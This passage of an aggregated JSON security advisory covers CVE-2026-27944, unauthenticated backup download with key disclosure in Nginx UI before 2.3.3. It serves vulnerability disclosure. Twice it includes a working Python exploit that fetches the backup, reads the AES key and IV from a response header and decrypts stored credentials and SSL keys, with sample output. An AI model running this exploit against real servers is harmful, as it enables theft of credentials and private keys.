urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 ✓)\n[*] IV length : 16 bytes (AES block size ✓)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']\n[*] Decrypting hash_info.txt...\n → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n → Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n → Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n![\"screenshot\"](\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\")
\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"title": "github - https://github.com/advisories/GHSA-g9w5-qffc-6762"
},
{
"category": "description",
"text": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.",
"title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
},
{
"category": "description",
"text": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n └── database.db // User credentials, session tokens\n └── app.ini // Configuration with secrets\n └── server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n └── nginx.conf // Nginx configuration\n └── sites-enabled/* // Virtual host configs\n └── ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n └── SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" → Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it's a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" → Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" ✗ Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 ✓)\n[*] IV length : 16 bytes (AES block size ✓)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']\n[*] Decrypting hash_info.txt...\n → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n → Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n → Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-g9w5-qffc-6762.json?alt=media"
},
{
"category": "description",
"text": "Nginx UI versions prior to 2.3.3 allow unauthenticated attackers to download\nencrypted system backups via the /api/backup endpoint. The response includes\nthe AES encryption key and IV in the X-Backup-Security header, allowing\nimmediate decryption of the backup containing admin credentials, SSL keys,\nand Nginx configurations.\n",
"title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27944"
},
{
"category": "description",
"text": "Nginx UI versions prior to 2.3.3 allow unauthenticated attackers to download\nencrypted system backups via the /api/backup endpoint. The response includes\nthe AES encryption key and IV in the X-Backup-Security header, allowing\nimmediate decryption of the backup containing admin credentials, SSL keys,\nand Nginx configurations.\n",
"title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27944.yaml"
},
{
"category": "description",
"text": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.",
"title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27944.json"
},
{
"category": "description",
"text": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure in github.com/0xJacky/Nginx-UI.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/0xJacky/Nginx-UI before v2.3.3.",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4614.json?alt=media"
},
{
"category": "description",
"text": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27944.json?alt=media"
},
{
"category": "other",
"text": "0.03865",
"title": "EPSS"
},
{
"category": "other",
"text": "4.4",
"title": "NCSC Score"
},
{
"category": "other",
"text": "There is product data available from source Certbundde",
"title": "NCSC Score top increasing factors"
},
{
"category": "other",
"text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Is related to an uncommon product vendor",
"title": "NCSC Score top decreasing factors"
}
],
"product_status": {
"known_affected": [
"CSAFPID-5763358",
"CSAFPID-5764019",
"CSAFPID-5774473",
"CSAFPID-5776244",
"CSAFPID-5812830",
"CSAFPID-3845497",
"CSAFPID-3845498",
"CSAFPID-3845499",
"CSAFPID-3845500",
"CSAFPID-3845501",
"CSAFPID-3845502",
"CSAFPID-3845503",
"CSAFPID-3845504",
"CSAFPID-3845505",
"CSAFPID-3845506",
"CSAFPID-3845507",
"CSAFPID-3845508",
"CSAFPID-3845509",
"CSAFPID-3845510",
"CSAFPID-3845511",
"CSAFPID-3845512",
"CSAFPID-3845513",
"CSAFPID-3845514",
"CSAFPID-3845515",
"CSAFPID-3845516",
"CSAFPID-3845517",
"CSAFPID-3845518",
"CSAFPID-3845519",
"CSAFPID-3845520",
"CSAFPID-3845521",
"CSAFPID-3845522",
"CSAFPID-3845523",
"CSAFPID-3845524",
"CSAFPID-3845525",
"CSAFPID-3845526",
"CSAFPID-3845527",
"CSAFPID-3845528",
"CSAFPID-3845529",
"CSAFPID-3845530",
"CSAFPID-3845531",
"CSAFPID-3845532",
"CSAFPID-3845533",
"CSAFPID-3845534",
"CSAFPID-3845535",
"CSAFPID-3845536",
"CSAFPID-3845537",
"CSAFPID-3845538",
"CSAFPID-3845539",
"CSAFPID-3845540",
"CSAFPID-3845541",
"CSAFPID-3845542",
"CSAFPID-3845543",
"CSAFPID-3845544",
"CSAFPID-3845545",
"CSAFPID-3845546",
"CSAFPID-3845547",
"CSAFPID-3845548",
"CSAFPID-3845549",
"CSAFPID-3845550",
"CSAFPID-3845551",
"CSAFPID-3845552",
"CSAFPID-3845553",
"CSAFPID-3845554",
"CSAFPID-3845555",
"CSAFPID-3845556",
"CSAFPID-3845557",
"CSAFPID-3845558",
"CSAFPID-3845559",
"CSAFPID-3845560",
"CSAFPID-3845561",
"CSAFPID-3845562",
"CSAFPID-3845563",
"CSAFPID-3845564",
"CSAFPID-3845565",
"CSAFPID-3845566",
"CSAFPID-3845567",
"CSAFPID-3845568",
"CSAFPID-3845569",
"CSAFPID-3845570",
"CSAFPID-3845571",
"CSAFPID-3845572",
"CSAFPID-3845573",
"CSAFPID-3845574",
"CSAFPID-3845575",
"CSAFPID-3845576",
"CSAFPID-3845577",
"CSAFPID-3845578",
"CSAFPID-3845579",
"CSAFPID-3845580",
"CSAFPID-3845581",
"CSAFPID-3845582",
"CSAFPID-3845583",
"CSAFPID-3845584",
"CSAFPID-3845585",
"CSAFPID-3845586",
"CSAFPID-3845587",
"CSAFPID-3845588",
"CSAFPID-3845589",
"CSAFPID-3845590",
"CSAFPID-3845591",
"CSAFPID-3845592",
"CSAFPID-3845593",
"CSAFPID-3845594",
"CSAFPID-3845595",
"CSAFPID-3845596",
"CSAFPID-3845597",
"CSAFPID-3845598",
"CSAFPID-3845599",
"CSAFPID-3845600",
"CSAFPID-3845601",
"CSAFPID-3845602",
"CSAFPID-3845603",
"CSAFPID-3845604",
"CSAFPID-3845605",
"CSAFPID-3845606",
"CSAFPID-3845607",
"CSAFPID-3845608",
"CSAFPID-3937439",
"CSAFPID-3937440",
"CSAFPID-3937441",
"CSAFPID-3937442",
"CSAFPID-3937443",
"CSAFPID-3937444",
"CSAFPID-3937445",
"CSAFPID-3937446",
"CSAFPID-3937447",
"CSAFPID-3937448",
"CSAFPID-3937449",
"CSAFPID-3937450",
"CSAFPID-3937451",
"CSAFPID-3937452",
"CSAFPID-3937453",
"CSAFPID-3937454",
"CSAFPID-3937455",
"CSAFPID-3937456",
"CSAFPID-3937457",
"CSAFPID-3937458",
"CSAFPID-3937459",
"CSAFPID-3937460",
"CSAFPID-3937461",
"CSAFPID-3937462",
"CSAFPID-3937463",
"CSAFPID-3937464",
"CSAFPID-3937465",
"CSAFPID-3937466",
"CSAFPID-3937467",
"CSAFPID-3937468",
"CSAFPID-3937469",
"CSAFPID-3937470",
"CSAFPID-3937471",
"CSAFPID-3937472",
"CSAFPID-3937473",
"CSAFPID-3937474",
"CSAFPID-3937475",
"CSAFPID-3937476",
"CSAFPID-3937477",
"CSAFPID-5910299",
"CSAFPID-5910300",
"CSAFPID-5910301",
"CSAFPID-5910302",
"CSAFPID-5910303",
"CSAFPID-5910304",
"CSAFPID-5910305",
"CSAFPID-5910306",
"CSAFPID-5910307",
"CSAFPID-5910308",
"CSAFPID-5910309",
"CSAFPID-5910310",
"CSAFPID-5910311",
"CSAFPID-5910312",
"CSAFPID-5910313",
"CSAFPID-5910314",
"CSAFPID-5910315",
"CSAFPID-5910316",
"CSAFPID-5910317",
"CSAFPID-5910318",
"CSAFPID-5910319",
"CSAFPID-5910320",
"CSAFPID-5910321",
"CSAFPID-5910322",
"CSAFPID-5910323",
"CSAFPID-5910324",
"CSAFPID-5910325",
"CSAFPID-5910326",
"CSAFPID-5910327",
"CSAFPID-5910328",
"CSAFPID-5910329",
"CSAFPID-5910330",
"CSAFPID-5910331"
]
},
"references": [
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27944"
},
{
"category": "external",
"summary": "Source raw - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27944.json"
},
{
"category": "external",
"summary": "Source - github",
"url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
},
{
"category": "external",
"summary": "Source raw - github",
"url": "https://api.github.com/advisories/GHSA-g9w5-qffc-6762"
},
{
"category": "external",
"summary": "Source - nvd",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
},
{
"category": "external",
"summary": "Source raw - nvd",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27944"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-g9w5-qffc-6762.json?alt=media"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27944"
},
{
"category": "external",
"summary": "Source raw - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Source - nucleitemplates",
"url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27944.yaml"
},
{
"category": "external",
"summary": "Source raw - nucleitemplates",
"url": "https://github.com/projectdiscovery/nuclei-templates/raw/fbbe7c6d5f013c08e7a9026b037b1a90e5942365/http%2Fcves%2F2026%2FCVE-2026-27944.yaml"
},
{
"category": "external",
"summary": "Source - nucleitemplates",
"url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27944"
},
{
"category": "external",
"summary": "Source raw - nucleitemplates",
"url": "https://github.com/projectdiscovery/nuclei-templates/raw/f661439c502794570e390103884690d7b631ff97/http%2Fcves%2F2026%2FCVE-2026-27944"
},
{
"category": "external",
"summary": "Source - certbundde",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0712.json"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27944.json"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4614.json?alt=media"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27944.json?alt=media"
},
{
"category": "external",
"summary": "Reference - certbundde; cveprojectv5; github; nvd; osv",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
},
{
"category": "external",
"summary": "Reference - github; osv",
"url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
},
{
"category": "external",
"summary": "Reference - github; osv",
"url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
},
{
"category": "external",
"summary": "Reference - github; osv",
"url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
},
{
"category": "external",
"summary": "Reference - github; nucleitemplates; osv",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
},
{
"category": "external",
"summary": "Reference - nucleitemplates",
"url": "https://www.tenable.com/security/research/tra-2026-17"
},
{
"category": "external",
"summary": "Reference - nucleitemplates",
"url": "https://vulnerabletarget.com/VT-2026-27944"
},
{
"category": "external",
"summary": "Reference - nucleitemplates",
"url": "https://github.com/advisories/GHSA-4x88-6m79-q5g5"
},
{
"category": "external",
"summary": "Reference - certbundde",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0712.json"
},
{
"category": "external",
"summary": "Reference - certbundde",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0712"
},
{
"category": "external",
"summary": "Reference - osv",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27944.json"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"baseScore": 9.8,
"baseSeverity": "CRITICAL"
},
"products": [
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"CSAFPID-3845498",
"CSAFPID-3845499",
"CSAFPID-3845500",
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"CSAFPID-3845502",
"CSAFPID-3845503",
"CSAFPID-3845504",
"CSAFPID-3845505",
"CSAFPID-3845506",
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"CSAFPID-3845509",
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"CSAFPID-3845512",
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"CSAFPID-3845518",
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"CSAFPID-3845523",
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"CSAFPID-3845531",
"CSAFPID-3845532",
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"CSAFPID-3845537",
"CSAFPID-3845538",
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"CSAFPID-3845576",
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"CSAFPID-3845579",
"CSAFPID-3845580",
"CSAFPID-3845581",
"CSAFPID-3845582",
"CSAFPID-3845583",
"CSAFPID-3845584",
"CSAFPID-3845585",
"CSAFPID-3845586",
"CSAFPID-3845587",
"CSAFPID-3845588",
"CSAFPID-3845589",
"CSAFPID-3845590",
"CSAFPID-3845591",
"CSAFPID-3845592",
"CSAFPID-3845593",
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"CSAFPID-3937441",
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"CSAFPID-3937443",
"CSAFPID-3937444",
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"CSAFPID-3937447",
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"CSAFPID-3937450",
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"CSAFPID-3937453",
"CSAFPID-3937454",
"CSAFPID-3937455",
"CSAFPID-3937456",
"CSAFPID-3937457",
"CSAFPID-3937458",
"CSAFPID-3937459",
"CSAFPID-3937460",
"CSAFPID-3937461",
"CSAFPID-3937462",
"CSAFPID-3937463",
"CSAFPID-3937464",
"CSAFPID-3937465",
"CSAFPID-3937466",
"CSAFPID-3937467",
"CSAFPID-3937468",
"CSAFPID-3937469",
"CSAFPID-3937470",
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"CSAFPID-3937472",
"CSAFPID-3937473",
"CSAFPID-3937474",
"CSAFPID-3937475",
"CSAFPID-3937476",
"CSAFPID-3937477",
"CSAFPID-5763358",
"CSAFPID-5764019",
"CSAFPID-5774473",
"CSAFPID-5776244",
"CSAFPID-5812830",
"CSAFPID-5910299",
"CSAFPID-5910300",
"CSAFPID-5910301",
"CSAFPID-5910302",
"CSAFPID-5910303",
